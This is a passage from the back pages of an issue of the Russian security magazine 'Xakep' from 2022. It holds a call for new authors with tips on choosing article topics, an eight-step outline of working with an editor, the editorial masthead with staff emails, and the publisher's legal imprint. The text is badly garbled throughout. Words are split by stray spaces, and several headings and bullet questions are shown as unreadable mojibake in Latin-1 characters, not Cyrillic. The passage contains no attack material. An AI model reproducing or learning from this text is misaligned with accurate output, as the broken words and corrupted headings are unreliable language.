ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/


№01 (274)
   

Глав ный редак тор
Ан дрей Пись мен ный

pismenny@glc.ru
Зам. глав ного редак тора
по тех ничес ким воп росам

Илья Русанен

rusanen@glc.ru

Выпус кающий редак тор
Алек сей Глаз ков

glazkov@glc.ru

Литера тур ный редак тор
Ев гения Шарипо ва

РЕДАКТОРЫ РУБРИК
   

  

Ан дрей Пись мен ный
pismenny@glc.ru

Ев гений Зоб нин
zobnin@glc.ru

Ва лен тин Хол могоров
valentin@holmogorov.ru

Тать яна Чуп рова
chuprova@glc.ru

Марк 
Бруцкий-Стемпковский

brutsky@glc.ru

Иван «aLLy» Андре ев
iam@russiansecurity.expert

MEGANEWS

Ма рия Нефёдо ва
nefedova@glc.ru

АРТ

yambuto
yambuto@gmail.com

РЕКЛАМА

Дирек тор по спец про ектам
Ан на Яков лева

yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
 

Воп росы по под писке:
lapina@glc.ru

 Воп росы по матери алам:
support@glc.ru 

Ад рес редак ции: 125080, город Мос ква, Волоко лам ское шос се, дом 1, стро ение 1, этаж 8, помеще ние IX, ком ната 54, офис 7. Изда тель: ИП
Югай Алек сандр Оле гович, 400046, Вол гоград ская область, г. Вол гоград, ул. Друж бы народов, д. 54. Учре дитель: ООО «Медиа Кар»   125080,
город Мос ква, Волоко лам ское шос се, дом 1, стро ение 1, этаж 8, помеще ние IX, ком ната 54, офис 7. Зарегис три рова но в Федераль ной служ бе
по над зору в сфе ре свя зи, информа цион ных тех нологий и мас совых ком муника ций (Рос комнад зоре), сви детель ство  Эл №  ФС77- 67001 от  30. 
08. 2016 года. Мне ние редак ции не обя затель но сов пада ет с мне нием авто ров. Все матери алы в номере пре дос тавля ются как информа ция
к раз мышле нию. Лица, исполь зующие дан ную информа цию в про тиво закон ных целях, могут быть прив лечены к ответс твен ности. Редак ция
не несет ответс твен ности за содер жание рек ламных объ явле ний в номере. По воп росам лицен зирова ния и получе ния прав на исполь зование
редак цион ных матери алов жур нала обра щай тесь по адре су: xakep@glc.ru. © Жур нал «Хакер», РФ, 2022

http://mailto:pismenny@glc.ru/
http://mailto:rusanen@glc.ru/
http://mailto:glazkov@glc.ru/
http://mailto:pismenny@glc.ru/
http://mailto:zobnin@glc.ru/
http://mailto:valentin@holmogorov.ru/
http://mailto:chuprova@glc.ru/
http://mailto:brutsky@glc.ru/
http://mailto:iam@russiansecurity.expert/
http://mailto:nefedova@glc.ru/
http://mailto:yambuto@gmail.com/
http://mailto:yakovleva.a@glc.ru/
http://mailto:lapina@glc.ru/
http://mailto:support@glc.ru/

